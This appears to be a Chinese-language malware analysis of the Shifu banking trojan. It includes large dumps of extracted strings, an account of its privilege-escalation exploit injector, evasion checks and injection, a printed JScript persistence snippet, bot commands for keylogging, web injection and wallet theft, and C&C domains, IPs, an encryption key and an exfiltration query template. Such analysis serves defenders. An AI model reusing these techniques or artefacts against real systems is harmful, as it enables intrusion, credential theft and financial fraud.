Microsoft\Microsoft AntimalwareSoftware\Coranti
Software\risingSoftware\TrendMicroSoftware\Symantec
Software\ComodoGroup
Software\Network Associates\TVD
Software\Data Fellows\F-SecureSoftware\Eset\Nod
Software\Softed\ViGUARD
Software\Zone Labs\ZoneAlarm
Software\Avg
Software\VBA32
Software\Doctor WebSoftware\G DataSoftware\Avira
Software\AVAST Software\Avast
Software\KasperskyLab\protected
Software\Bitdefender
Software\Panda SoftwareSoftware\Sophos.bat\\.\%C:
|$$$}rstuvwxyz{$$$$$$$>?@ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\]^_`abcdefghijklmnopq
conhost
CreateProcessInternalW
ConvertStringSecurityDescriptorToSecurityDescriptorWContent-Type: multipart/form-data; boundary=---------------------------%srn
Content-Type: application/x-www-form-urlencodedrn
Host: %srn%d.%d.%d.%d
%d.%d.%d.%d.%x
%temp%\debug_file.txt
[%u][%s:%s:%u][0x%x;0x%x] %sDnsFlushResolverCache
\*.*
dnsapi.dll
DnsGetCacheDataTable.dll.exedownload.windowsupdate.com
vk.com
yandex.ru
HTTP/1.1https://http://%s
IsWow64Process
kernel
kernel32.dllLdrGetProcedureAddress
Microsoft
NtAllocateVirtualMemory
CLOSED
LAST_ACKTIME_WAIT
DELETE_TCB
LISTEN
SYN_SENTSYN_RCVDESTAB
FIN_WAIT1
FIN_WAIT2
CLOSE_WAIT
CLOSING
TCPt%s:%dt%s:%dt%sn
netstatnPrototLocal addresstRemote addresstStaten
ntdll.dll
NtResumeProcess
NtSuspendProcess\\?\globalroot\systemroot\system32\drivers\null.sys
NtWriteVirtualMemoryopenRegisterApplicationRestart
RtlCreateUserThread
ResetSR
RtlComputeCrc32
rundll32SeDebugPrivilegeSystemDrive
\StringFileInfo\%04x%04x\ProductName
software\microsoft\windows nt\currentversion\winlogon
shell
Sleep
srclient.dllSeShutdownPrivilege
"%s"
%dt%sntaskmgrnPIDtProcess namennet usern
the computer is joined to a domainn..
\VarFileInfo\Translation
%windir%\system32\%windir%\syswow64\POST*.exe
%SystemDrive%\
*SYSTEM*%02x%s:Zone.Identifier
GetProcessUserModeExceptionPolicy
SetProcessUserModeExceptionPolicy
%ws\%wsn
WORKGROUP
HOMESoftware\Microsoft\Windows\CurrentVersion\Policies\ExplorerDisableCurrentUserRun
%s.dat
software\microsoft\windows%OS%_%NUMBER_OF_PROCESSORS%
S:(ML;;NRNWNX;;;LW)D:(A;;GA;;;WD)
S:(ML;;NRNWNX;;;LW)D:(A;;GA;;;WD)(A;;GA;;;AC)
\\.\AVGIDSShim
FFD3\\.\NPF_NdisWanIpc:\sample\pos.exe
ANALYSERS
SANDBOX
VIRUS
MALWARE
FORTINETMALNETVMc:\analysis\sandboxstarter.exec:\analysisc:\insidetmc:\windows\system32\drivers\vmmouse.sys
c:\windows\system32\drivers\vmhgfs.sys
c:\windows\system32\drivers\vboxmouse.sys
c:\iDEFENSEc:\popupkiller.exe
c:\tools\execute.exe
c:\Perlc:\Python27api_log.dll
dir_watch.dll
pstorec.dll
dbghelp.dll
Process32NextW
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3
1406.bitMiniDumpWriteDump
rnReferer: %srn
\Google\Chrome\User Data\Default\Cache
var %s = new ActiveXObject("WScript.Shell"); %s.Run("%s");
IntelPowerAgent32
%OS%_%NUMBER_OF_PROCESSORS%
%scmd.exe
ComSpec
ConsoleWindowClass
.exekernel32.dllntdll.dll
ZwQuerySystemInformationZwAllocateVirtualMemory
PsLookupProcessByProcessId
PsReferencePrimaryToken
Class
Window
open "%s" -q%windir%\system32\sdbinst.exe
/c "start "" "%s" -d"
%windir%\system32\sndvol.exe
"%s" -u /c "%s\SysWOW64\SysSndVol.exe /c "start "" "%s" -d""
%temp%\%u
%u.tmp
Wow64DisableWow64FsRedirection
Wow64RevertWow64FsRedirection
runas.exe
%systemroot%\system32\svchost.exe
%systemroot%\system32\wscript.exe
snxhk.dll
sbiedll.dll
/c start "" "%s" " "
cmd.exe
runas
--crypt-test
It work's!
--vm-test
**内嵌CVE-2016-0167利用的exploit injector**
Exploit
injector被用来在被感染的主机上面获取SYSTEM权限。这个注入器同时包含x86和x64利用。“MZ”字符用null字节替换用来防止被检测。
Second stage injector会校验当前京城的完整性级别和操作系统版本。如果进程的完整性级别是低并且操作系统版本是6.1（Windows
7/Windows Server 2008 R2），second stage injector将exploit
injector文件写入内存。然后在exploit injector中搜索0x99999999。当地址被找到时，12个字节被添加并且second stage
injector跳转到PE loader中。调用到shellcode的如下：
00401EF5 pusha
00401EF6 add esi, 0Ch
00401EF9 call esi -> PE loader shellcode in overlay
00401EFB popa
**自定义PE loader**
它首先获得shellcode的结尾，用来扫描exploit injector文件的“MZ“：
00077174 jmp short 00077178
00077176 pop eax
00077177 retn
00077178 call 00077176
接下来，一个自己写的GetProcAddress()函数用来获取VirtualAllocEx()函数地址。然后，VirtualAllocEx()用来分配一个内存空间，能够将exploit
injector节信息以适当的内存对齐的方式写入该内存。必要的地址重定位调整，API函数地址重新解析，IAT重新填充。最后shellcode跳转到新创建的exploit
injector的DLL的入口点。
**Exploit injector**
首先，字符串“kernel32.dll”，“LoadLibrary“，”GetProcAddress“被创建。然后kernel32.dll的模块地址被搜索到，继而得到LoadLibrary()和GetProcAddress()的地址。在这些函数的帮助下，exploit
injector的IAT被重建。这个功能的目的不清楚，因为它已经被second stage
injector完成了。然后，用CreateThread()函数创建一个新的线程。
这个线程调用IsWow64Process()，根据结果决定x86还是x64版本的利用文件被写入内存。“MZ”写入利用文件的开始。然后，一个名为“WaitEventX”的事件被创建，这个事件稍后被利用使用。最后这个主利用加载函数被调用。
这个主利用加载函数搜索以下进程，这些进程是趋势安全软件的一部分：
“uiSeAgnt.exe”
“PtSessionAgent.exe”
“PwmSvc.exe”
“coreServiceShell.exe”
如果有一个进程被找到，一个挂起的wuauclt.exe被创建。否则，一个挂起的svchost.exe被创建。在两种情况下，都使用命令行参数“-k
netsvc”，但是只被svchost.exe使用。应该注意到的是这个功能在x64版本的趋势安全软件安装的情况下总是失败的。代码（x86）在x64进程中调用调用CreateToolhelp32Snapshot()函数将导致ERROR_PARTIAL_COPY错误。而且，它也总是会失败，因为没有没有权限访问趋势进程。
接下来，它用CreateFileMapping()和MapViewOfFile()函数将x86或x64的利用文件映射进内存并在内存中填充利用字节。最终，节被用ZwMapViewOfSection()函数映射到挂起的进程svchost.exe或wuauclt.exe中。如果系统版本是5.2（Windows
Server2003和Windows XP
64位版本）将直接退出。然后，两个内存空间被创建，一个shellcode被写入内存中。第一个混淆的shellcode调用第二个shellcode。接下来，调用ResumeThread()函数恢复挂起的进程，利用就被执行了。
Second stage
injector验证利用成功与否，通过检验完整性等级是否一直是SECURITY_MANDATORY_LOW_RID。如果不是，利用成功的话将提权至SECURITY_MANDATORY_SYSTEM_RID，并且继续main
payload的注入。如果利用失败，它将尝试自己用cmd.exe和runas.exe来运行自身获取SYSTEM的权限。
**Atom字符串的创建**
代替当今常用的互斥量，second stage injector创建了一个atom和校验这个全局atom表来判断Shifu是否已经运行。
首先，它用字符串“%OS%_%NUMBER_OF_PROCESSORS%”调用ExpandEnvironmentStrings()函数来获取Windows版本和处理器数目。例如在1个处理器的Windows
7上面结果就是“Windows_NT_1”。这个字符串被用来调用RtlComputeCrc32()函数计算4个CRC32哈希值，四个初始值如下：
0xFFFFFFFF
0xEEEEEEEE
0xAAAAAAAA
0x77777777
字符串“Windows_NT_1”的哈希结果如下：
0x395693AE
0xB24495D2
0xF39F86E1
0xBAE0B5C8
接下来，每个CRC哈希的最后一个字节在栈上面是以DWORD存储的：
0xAE000000
0xD2000000
0xE1000000
0xC8000000
字节序列如下：
AE 00 00 00 D2 00 00 00 E1 00 00 00 C8 00 00 00
这个atom字符串用snprintf()函数转化前8个字节到ASCII字符串中，结果如下：
“ae000000d2000000”
最后，调用GlobalFindAtom()函数是否存在，如果不存在则调用GlobalAddAtom()添加。
图3. 在全局atom表中的Shifu的atom
**命令行参数**
Second stage injector有两个命令行，但是只有一个起作用。他们在将来可能有一个新功能或者只是忘了删除了。
-crypt-test
只有一个包含“It work’s!”的消息框显示：
-vm-test
没啥功能
**反分析技巧**
反Sandboxie和Avast，Shifu在它自己的进程内调用GetModuleHandleA()函数校验snxhk.dll(Avast)或者sbiedll.dll(Sandboxie)是否存在，如果存在将调用Sleep()永久休眠。
所有的下面的检测手段都是32位操作系统下的。
**进程名检测**
枚举运行的进程名，转化为小写，计算那些名字的CRC32哈希值，按下面列表比较：
0x99DD4432 – ?
0x1F413C1F – vmwaretray.exe
0x6D3323D9 – vmusrvc.exe
0x3BFFF885 – vmsrvc.exe
0x64340DCE – ?
0x63C54474 – vboxtray.exe
0x2B05B17D – ?
0xF725433E – ?
0x77AE10F7 – ?
0xCE7D304E – dumpcap.exe
0xAF2015F2 – ollydbg.exe
0x31FD677C – importrec.exe
0x6E9AD238 – petools.exe
0xE90ACC42 – idag.exe
0x4231F0AD – sysanalyzer.exe
0xD20981E0 – sniff_hit.exe
0xCCEA165E – scktool.exe
0xFCA978AC – proc_analyzer.exe
0x46FA37FB – hookexplorer.exe
0xEEBF618A – multi_pot.exe
0x06AAAE60 – idaq.exe
0x5BA9B1FE – procmon.exe
0x3CE2BEF3 – regmon.exe
0xA945E459 – procexp.exe
0x877A154B – peid.exe
0x33495995 – autoruns.exe
0x68684B33 – autorunsc.exe
0xB4364A7A – ?
0x9305F80D – imul.exe
0xC4AAED42 – emul.exe
0x14078D5B – apispy.exe
0x7E3DF4F6 – ?
0xD3B48D5B – hookanaapp.exe
0x332FD095 – fortitracer.exe
0x2D6A6921 – ?
0x2AAA273B – joeboxserver.exe
0x777BE06C – joeboxcontrol.exe
0x954B35E8 – ?
0x870E13A2 – ?
**文件名检测**
Shifu校验下面文件或文件夹是否存在，如果存在则调用Sleep()永久休眠：
c:samplepos.exe
c:analysissandboxstarter.exe
c:analysis
c:insidetm
c:windowssystem32driversvmmouse.sys
c:windowssystem32driversvmhgfs.sys
c:windowssystem32driversvboxmouse.sys
c:iDEFENSE
c:popupkiller.exe
c:toolsexecute.exe
c:Perl
c:Python27
**调试器检测**
调用IsDebuggerPresent()判断调试器是否存在。同时，调用ZwQueryInformationSystem()判断ProcessDebugPort和ProcessDebugObjectHandle。如果调试器被检测到则调用Sleep()永久休眠。
**Wireshark检测**
调用CreateFile()尝试打开\\.NPF_NdisWanIp，如果过成功则调用Sleep()永久休眠。
**自我检验**
校验自己的名字长度，如果长于30个字符则调用Sleep()永久休眠。同时用CRC32哈希值校验自己的进程名：
0xE84126B8 – sample.exe
0x0A84E285 – ?
0x3C164BED – ?
0xC19DADCE – ?
0xA07ACEDD – ?
0xD254F323 – ?
0xF3C4E556 – ?
0xF8782263 – ?
0xCA96016D – ?
而且，判断自己的进程中是否有来自GFI沙箱的模块：
api_log.dll
dir_watch.dll
pstorec.dll
**未知的反分析技巧**
用了一个不知道目的的技巧。它获取Process32NextW()函数的地址，前五个字节和序列0x33C0C220800比较：
33C0 XOR EAX,EAX
C2 0800 RETN 8
这些代码只能在32位的Windows XP使用，因为Unicode版本的函数可能还没实现。如果代码序列被检测到，将调用Sleep()永久休眠。
**Windows域名校验**
用NetServerGetinfo()和NetWkstaGetInfo()判断计算机工作组名是否是“WORKGROUP”或“HOME”。如果不是则永久休眠。接下来判断是否是”ANALYSERS”，如果是则永久休眠。
**计算机和用户名校验**
用GetComputerName()和GetUserName()获取计算机名和用户名，判断是否是如下字符串：
SANDBOX
FORTINET
VIRUS
MALWARE
MALNETVM
如果被发现一个，则永久休眠。
**进程结束特征**
Second stage injector枚举所有运行的进程，将名字转化为小写，计算CRC32的哈希值：
0xD2EFC6C4 – python.exe
0xE185BD8C – pythonw.exe
0xDE1BACD2 – perl.exe
0xF2EAA55E – autoit3.exe
0xB8BED542 – ?
如果有一个被匹配到，尝试打开进程并结束进程。如果过失败，将尝试用ZwClose关闭进程的主窗口句柄。然后以所有权限打开进程，用ZwUnmapViewOfSection()函数卸载它。最后，被卸载的进程的主窗口句柄被关闭。
**Main payload解密、解压和注入**
为了解密main payload，second stage
injector从.rsrc节获取解密算法需要用到的数据。它使用一个修改版的RC4算法，之前获得的值与256字节数组的每个字节异或。加密过的数组用来解密位于.tls节的main
payload。解密的main payload还被aPlib库压缩了。
如果原始的loader作为一个中等级或高等级的进程运行，计算atom字符串的方法再次被调用。这次只有4个字节被用来创建字符串，例如“ae000000”。接下来，哈希值被计算出来，并通过从0x0到0xFF与另一个256字节的数组异或。这个加密的字符串再次被用来加密和解密main
payload。为了持续性，加密的数据被写入注册表“HKCUsoftwaremicrosoftwindows”键值中，如”f4e64d63”。同时，“ae000000”也被创建并用空字符串和原始的loader的路径填充。最后临时加密的main
payload再次被解密。
图4. 加密的main payload和原始loader的路径被存储在Windows注册表中
接下来，main payload在内存中被解压。然后，一个挂起的svchost.exe(x86)被以和父进程相同的完整性等级创建。Main
payload被映射到进程中并且“MZ”被修改掉。Svchost进程恢复则main payload被执行。最后，一个批处理文件被创建在%TEMP%文件夹中。
**Main payload 分析**
Main payload的模块的IAT函数与0xFF异或加密使得静态分析更加困难。在.data节中的重要的字符串也与0x8D异或加密，解密字符串如下：
AddMandatoryAce
ADVAPI
Advapi32.dlladvapi32.dllws2_32.dll
WPUCloseEvent
WPUCloseSocketHandleWPUCreateEvent
WPUCreateSocketHandle
WPUFDIsSet
WPUGetProviderPath
WPUModifyIFSHandle
WPUPostMessage
WPUQueryBlockingCallbackWPUQuerySocketHandleContext
WPUQueueApc
WPUResetEvent
WPUSetEvent
WPUOpenCurrentThreadWPUCloseThread
WSPStartup
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/echo
> %1rndel %0
rundll32.exe shell32.dll, ShellExec_RunDLL %s
software\microsoft\windows\currentversion\run
Microsoft\Microsoft AntimalwareSoftware\Coranti
Software\risingSoftware\TrendMicroSoftware\Symantec
Software\ComodoGroup
Software\Network Associates\TVD
Software\Data Fellows\F-SecureSoftware\Eset\Nod
Software\Softed\ViGUARD
Software\Zone Labs\ZoneAlarm
Software\Avg
Software\VBA32
Software\Doctor WebSoftware\G DataSoftware\Avira
Software\AVAST Software\Avast
Software\KasperskyLab\protected
Software\Bitdefender
Software\Panda SoftwareSoftware\Sophos.bat|$$$}rstuvwxyz{$$$$$$$>?@ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\]^_`abcdefghijklmnop
q
\\.\%C:
conhost
CreateProcessInternalW
ConvertStringSecurityDescriptorToSecurityDescriptorWContent-Type: application/x-www-form-urlencodedrn
Content-Type: multipart/form-data; boundary=---------------------------%srn
Host: %srn%d.%d.%d.%d
%d.%d.%d.%d.%x
%temp%\debug_file.txt
[%u][%s:%s:%u][0x%x;0x%x] %sDnsFlushResolverCache
\*.*
dnsapi.dll
DnsGetCacheDataTable.dll.exedownload.windowsupdate.com
vk.com
yandex.ru
HTTP/1.1https://http://%s
IsWow64Process
kernel
kernel32.dllLdrGetProcedureAddress
Microsoft
NtAllocateVirtualMemory
CLOSED
LAST_ACKTIME_WAIT
DELETE_TCB
LISTEN
SYN_SENTSYN_RCVDESTAB
FIN_WAIT1
FIN_WAIT2
CLOSE_WAIT
CLOSING
TCPt%s:%dt%s:%dt%sn
netstatnPrototLocal addresstRemote addresstStaten
ntdll.dll
NtResumeProcess
NtSuspendProcess\\?\globalroot\systemroot\system32\drivers\null.sys
NtWriteVirtualMemoryopenRegisterApplicationRestart
RtlCreateUserThread
ResetSR
RtlComputeCrc32
rundll32SeDebugPrivilegeSystemDrive
\StringFileInfo\%04x%04x\ProductName
software\microsoft\windows nt\currentversion\winlogon
shell
Sleep
srclient.dllSeShutdownPrivilege
"%s"
%dt%sntaskmgrnPIDtProcess namennet usern
the computer is joined to a domainn..
\VarFileInfo\Translation
%windir%\system32\%windir%\syswow64\POST*.exe
%SystemDrive%\
*SYSTEM*%02x%s:Zone.Identifier
GetProcessUserModeExceptionPolicy
SetProcessUserModeExceptionPolicy
%ws\%wsn
WORKGROUP
HOMEsoftware\microsoft\windowsSoftware\Microsoft\Windows\CurrentVersion\Policies\ExplorerDisableCurrentUserRun
%s.dat
%OS%_%NUMBER_OF_PROCESSORS%
S:(ML;;NRNWNX;;;LW)D:(A;;GA;;;WD)
S:(ML;;NRNWNX;;;LW)D:(A;;GA;;;WD)(A;;GA;;;AC)
\\.\AVGIDSShim
FFD3\\.\NPF_NdisWanIpc:\sample\pos.exe
ANALYSERS
SANDBOX
VIRUS
MALWARE
FORTINETMALNETVMc:\analysis\sandboxstarter.exec:\analysisc:\insidetmc:\windows\system32\drivers\vmmouse.sys
c:\windows\system32\drivers\vmhgfs.sys
c:\windows\system32\drivers\vboxmouse.sys
c:\iDEFENSEc:\popupkiller.exe
c:\tools\execute.exe
c:\Perlc:\Python27api_log.dll
dir_watch.dll
pstorec.dll
dbghelp.dll
Process32NextW
1406Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3
.bitMiniDumpWriteDump
rnReferer: %srn
\Google\Chrome\User Data\Default\Cache
var %s = new ActiveXObject("WScript.Shell"); %s.Run("%s");
GenuineIntelAuthenticAMDCentaurHauls7z
fnbqooqdaixfueangywblgabirdgvkewdyqgfqaioluesyrpryfkjerfsouemaxnavrkguxmcmhckwprunurmhehclermtufwiyjbqhwlunbun
uumeowfjmerxppxrgaxukyx
PowerManager_M5VKII_%d
[type=ftp]n[botid=%s]n[proc=%s]n[data=%s]n
[type=pop3]n[botid=%s]n[proc=%s]n[data=%s]n
%OS%_%NUMBER_OF_PROCESSORS%
[type=post]n[botid=%s]n[url=%s]n[ua=%s]n[proc=%s]n[ref=%s]n[keys=%s]n[data=%s]n
name=%s&ok=%s&id=%d&res_code=%d&res_text=%s_%x
name=%s&ok=%s&id=%d&res_code=%d&res_text=%s
botid=%s&ver=%s.%u&up=%u&os=%u<ime=%s%d&token=%d&cn=%s&av=%s&dmn=%s&mitm=%u
java.exe|javaw.exe|plugin-container.exe|acrobat.exe|acrod32.exe
tellerplus|bancline|fidelity|micrsolv|bankman|vanity|episys|jack
henry|cruisenet|gplusmain|silverlake|v48d0250s1Root|TrustedPeople|SMS|Remote Desktop|REQUEST
TREASURE|BUH|BANK|ACCOUNT|CASH|FINAN|MONEY|MANAGE|OPER|DIRECT|ROSPIL|CAPO|BOSS|TRADEactive_bc
-----------------------------%srnContent-Disposition: form-data; name="pcname"rnrn%s!%srn----------------------------- %srnContent-Disposition: form-data; name="file"; filename="report"rnContent-Type: text/plainrnrn%srn-------------- ---------------%s--rn
%domain%deactivebc
inject
kill_os
loadactive_sk
deactive_sk
wipe_cookiesmitm_modmitm_script
mitm_geterr
get_keylog
get_sols!active_bc[(d+)] (S+) (d+)
!deactive_bc[(d+)]
!inject[(d+)] (S+)
!kill_os[(d+)]
!get_keylog[(d+)]!load[(d+)] (S+)!update[(d+)] (S+)
!wipe_cookies[(d+)]
!active_sk[(d+)] (S+) (d+)
!deactive_sk[(d+)]
!mitm_mod[(d+)] (S+) (d+) (S+)!mitm_script[(d+)] (S+)
!mitm_geterr[(d+)]
!get_sols[(d+)]
ATCASH
ATLOCAL
CERTCERTX
COLVCRAIF
CRYPT
CTERM
SCREEN
INTER
ELBALOCAL
ELBAWEB
ELBAWEB
ELBAWEB
PUTTY
VNCVIEW
MCLOCAL
MCSIGN
OPENVPN
PIPEK
PIPEK
PIPEK
PIPEK
POSTSAP
chrome.dll
mxwebkit.dlldragon_s.dlliron.dllvivaldi.dll
nspr4.dll
nss3.dllbrowser.dll
Advapi32.dllrsaenh.dll
kernel32.dllIprivLibEx.dll
cryptui.dll
crypt32.dll
ntdll.dll
ssleay32.dllurlmon.dll
user32.dll
Wininet.dll
Ws2_32.dll
PSAPI.dll
NzBrco.dll
VirtualProtect
LoadLibraryExW
ZwQuerySystemInformationWSARecv
WSASend
ZwDeviceIoControlFile
URLDownloadToCacheFileW
URLDownloadToFileW
TranslateMessageSSL_get_fd
SSL_write
PFXImportCertStore
CryptEncryptCPExportKey
CreateProcessInternalW
CreateDialogParamW
GetClipboardDatagetaddrinfo
gethostbyname
GetAddrInfoExW
GetMessageA
GetMessageW
DeleteFileA
GetModuleBaseNameW
bad port value
can't find plug-in path
can't get bot path
can't download file
can't encrypt file
can't save inject config to filecan't get temp file
file is not valid PEcan't delete original file
can't replace original file
can't close handle
can't protect file
original file not found
can't execute file
can't create directory
can't unzip file #1
can't unzip file #2
mitm_mod is inactivehttpd.exe is anactive
microsoft.com
dropbox.com
KEYGRAB
PasswordTELEMACOScelta e Login dispositivo
TLQ Web
db Corporate Banking WebSecureStoreCSP - enter PIN
google.com
Software\SimonTatham\PuTTYreg.txt
Software\Microsoft\Internet Explorer\MainTabProcGrowth
Temp\Low
crc32[%x]
ACCT
AUTHINFO PASS
AUTHINFO USER
Authorization
:BA:[bks]
%X!%X!%08X
btc_path.txtbtc_wallet.dat
bitcoin\wallet.dat
%s%s\%u_cert.pfx
cmdline.txt
1.3.6.1.5.5.7.3.3
CodeSignn
Software\Microsoft\Windows NT\CurrentVersion
[del]
Default
.exeELBA5\ELBA_dataftp://anonymous:ftp://%s:%s@%s:%dn
HBPData\hbp.profileHH:mm:ssdd:MMM:yyyy
I_CryptUIProtect\exe\
infected.exx%s%s\%u_info.txt
[ins]
InstallDate
%02u.jpg%s\%02d.jpgKEYLOG
%s\keylog.txt
[TOKEN ON]
nn[%s (%s-%s) - %s (%s)]n[pst]%s[/pst]
ltcd_path.txt
ltcd_wallet.dat
litecoind\wallet.dat
ltc_path.txtltc_wallet.dat
litecoin\wallet.dat\MacromediaMultiCash@Sign
C:\Omikron\MCSign
[ML][MR]Global\{4C470E-%08x-%08x-%08x}
Global\{DAN6J0-%s}
noneopera.exe
PASS
password.txt\\.\pipe\%s
pop3://%s:%s@%s:%dn%PROCESSOR_ARCHITECTURE%Referer
[ret]
%08x\system32\rstrui.exe
\scrs\send%s%s%s%d%s:%s
sysinfo.txt
[tab]
data.txt<unnamed>
<untitled>
update
USER
User-agent
vkeys
%xrn
rn%x%x%x.tmp
\*.txt
%02x%2b
torrent
-config config.vnc
--config
config.ovpn
data.txt[type=post]n
CreateFileW
pos.exe
bank.exePOS
secure.
.mozgoogle.com
CertVerifyCertificateChainPolicyCertGetCertificateChain
SSL_AuthCertificateHook
USERNAMESoftware\ESET\ESET Security\CurrentVersion\Info
C8FFAD27AE1BBE28BE24DDF20AF36EF901C609968930ED82CEFBC64808BA34102C4FABA0560523FB4CCBF33684F77C8401DFB
3A7D2D598E872DD78033E7F900B78A0C710CDF0941662FF7745A435D4BC18D5661E0582B21B2DB8FCA1C0CA3401D0FC9F051
85A558AB6A76A010F606CD77B35A480B6B7176F0903299B91F1BBD141B4D33615849C35557357DAB819BC3D4A8722BB433DE
B66C7A326BE859BD94930331B37DEE6EF4C475EA4B33DE4699FFDBCD34E196E19FE630E631D2C612705048620183BCF56709B
484A4380C4B00D8D94D131C31DB53AE6BCDCCC14131BAC99A68C59A604D0AE9116E9196F7FA3EA5F86F67E9B175CC09D3E17
997728B7D
10001
get=1
COMPNAMEAppDataDir
updfiles\upd.ver
updfiles\lastupd.ver
SYSTEM\CurrentControlSet\services\Avg\SystemValues
Local AppData
Avg2015
Avg2014
Avg2013
Avg2012
Avg2011
update
Software\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{8CA7E745-EF75-4E7B-BB86- 8065C0CE29CA}
Software\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{BB62FFF4-41CB-4AFC-BB8C- 2A4D4B42BBDC}
Software\Microsoft\Internet Explorer\MainEnable Browser Extensions
httpd.exe
%s\httpd.exe
connect
data\index.php
logs\error.log
error.log
<?n';n$bot_id = '
$bot_net = '$key_log_file = '
$process_file = '
127.0.0.1
Listen %s:%un
conf\httpd.confSSL_PORT%u>n
[type=post]n
[type=screen]n
[type=knock]n
74??834E0440B832FFFFFF
74??834E04405F5EB832FFFFFF
DEBUG
memory.dmp
config.xml
php5ts.dll
zend_stream_fixup
zend_compile_file
index.php
config.php
content.php
iexplore.exe|firefox.exe|chrome.exe|opera.exe|browser.exe|dragon.exe|epic.exe|sbrender.exe|vivaldi.exe|maxthon.exe|ybr
owser.exe|microsoftedgecp.exe
InternetQueryDataAvailable
InternetReadFileInternetReadFileExA
InternetReadFileExW
InternetSetStatusCallbackA
InternetSetStatusCallbackW
HttpSendRequestAHttpSendRequestExA
HttpSendRequestExW
HttpSendRequestWrn0rnrn
.rdata
rnrnHTTP/1.
Transfer-Encoding
chunked
Content-Length
close
Proxy-ConnectionHostAccept-Encoding
x-xss-protectionx-content-security-policy
x-frame-options
x-content-type-options
If-Modified-Since
If-None-Match
content-security-policy
x-webkit-cspConnection
http://
https://NSS layer
Content-TypeBasic
PR_ClosePR_Connect
PR_GetNameForIdentity
PR_Read
PR_SetError
PR_WriteReferer:
Accept-Encoding:rn1406SOFTWAREMicrosoftWindowsCurrentVersionInternet SettingsZones3
data_afterndata_beforen
data_enddata_injectn
set_url %BOTID%
%BOTNET%InternetCloseHandle
HTMLc:\inject.txt
Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N7000 Build/JZO54K)
xxx_process_0x%08x
Common.js
**API混淆**
Main payload用Push-Calc-Ret混淆的技术混淆API。在main
payload注入到svchost进程中后真实API函数的调用被修改。当一个函数被调用时，用一个计算真实函数地址的跳板函数代替。所有的跳板函数被存储在数组中。
例如，main payload想要调用CreateFile()，但是调用已经被修改了。现在将调用跳板函数如下：
00846110 PUSH 2B464C25
00846115 PUSHFD
00846116 XOR DWORD PTR SS:[ESP+4], 5DB5E13F
0084611E POPFD
0084611F RETN
首先，一个值被压栈。然后把标志寄存器都压栈，因为XOR指令会影响很多标志寄存器。然后之前压栈的值与另一个值异或得到真实的API地址。最后恢复标致寄存器，用RETN执行真实的函数地址。
**持续性的方法**
Main
payload拷贝原始混淆的loader文件到%ProgramData%文件夹中，文件名用GetTickCount()函数获得。然后，它在当前用户的启动目录创建一个“Common.js”的JScript文件。文件包含以下代码，能在系统重启后自动运行原始loader：
var yqvltidpue = new ActiveXObject("WScript.Shell");
yqvltidpue.Run("C:\PROGRA~3\930d4a6d.exe")
**main payload与前一个版本的变化**
之前版本的Shifu被FireEye和Fortinet报告过。
在和之前版本的比较中，用计算机名、用户名、安装日期和系统磁盘序列号创建的字符串变多了：
TREASURE
BUH
BANK
ACCOUNT
CASH
FINAN
MONEY
MANAGE
OPER
DIRECT
ROSPIL
CAPO
BOSS
TRADE
更新的命令：
active_sk
deactive_sk
deactivebc
get_keylog
get_sols
inject
kill_os
load
mitm_geterr
mitm_mod
mitm_script
wipe_cookies
目标浏览器更新：
iexplore.exe
firefox.exe
chrome.exe
opera.exe
browser.exe
dragon.exe
epic.exe
sbrender.exe
vivaldi.exe
maxthon.exe
ybrowser.exe
microsoftedgecp.exe
main payload将从C&C服务器下载Apache的httpd.exe服务器，存储在磁盘上用来web注入。比较之前的版本，main
payload也包含了暗示Zend PHP框架功能的字符串：
zend_stream_fixup
zend_compile_file
**在svchost中挂钩函数**
和之前版本一样，恶意程序挂钩一些API函数来重定向URL，捕捉网络流量和键盘记录。它用5字节inline hook方法挂钩 API。被挂钩的API如下：
NtDeviceIoControlFile (ntdll.dll)
ZwDeviceIoControlFile (ntdll.dll)
GetClipboardData (user32.dll)
GetMessageA (user32.dll)
GetMessageW (user32.dll)
TranslateMessage (user32.dll)
GetAddrInfoExW (ws2_32.dll)
gethostbyname (ws2_32.dll)
getaddrinfo (ws2_32.dll)
**网络功能**
Main payload用顶级域名.bit，它是一个基于Namecoin架构的分散的DNS系统。恶意程序请求的IP地址如下：
92.222.80.28
78.138.97.93
77.66.108.93
C&C服务器域名名字，user-agent字符串和URL参数被修改版RC4算法加密。解密字符串如下：
klyatiemoskali.bit
slavaukraine.bit
Mozilla/5.0 (Windows; U; Windows NT 5.2 x64; en-US; rv:1.9a1) Gecko/20061007 Minefield/3.0a1
L9mS3THljZylEx46ymJ2eqIdsEguKC15KnyQdfx4RTcVu8gCT
https://www.bing.com
/english/imageupload.php
/english/userlogin.php
/english/userpanel.php
1brz
加密的字符串用下面的格式存储在.data节中：
<LengthOfString><EncryptedString>
“klyatiemoskali“简单翻译的意思是希望坏事降临莫斯科。第二个字符串“slavaukraine”意思是保佑乌克兰。RC4的密码“L9mS3THljZylEx46ymJ2eqIdsEguKC15KnyQdfx4RTcVu8gCT”被用于加密网络流量。
在分析时，只有下面的DNS服务器还有响应：
77.66.108.93 (ns1.dk.dns.d0wn.biz)
图5. 77.66.108.93 Namecoin DNS服务器信息
下图是分析Shifu的网络流量的截图：
图6. Wireshark捕获流量的截图
我们能看见访问klyatiemoskali.bit能获得IP地址。在C&C服务器响应后，使用TLS握手协议开启一个加密通道。最后，它发送加密数据并获得加密结果。然而，没有更多的网络流量被捕获到了。klyatiemoskali.bit
and slavaukraine.bit都被解析到103.199.16.106的IP地址。
因为.bit顶级域名依赖的Namecoin系统是基于比特币系统的，每个业务都能被跟踪。因此，我们用一个Namecoin浏览器查看.bit域名和所属的IP地址。例如，如果我们用网络服务namecha.in，我们得到关于klyatiemaskali.bit的信息：
我们同样能看到关于slavaukraine.bit的信息：
所有的域名都是在2016-06-03注册的，只有一个IP地址与他们对应。这个IP地址符合我们捕捉到的网络流量。而且我们能看见这个域名似乎还存活着。
**与C &C服务器的查询字符串**
Main payload包含了一个查询字符串的模版，用来向C&C服务器发送受害者的信息：
botid=%s&ver=%s.%u&up=%u&os=%u<ime=%s%d&token=%d&cn=%s&av=%s&dmn=%s&mitm=%u
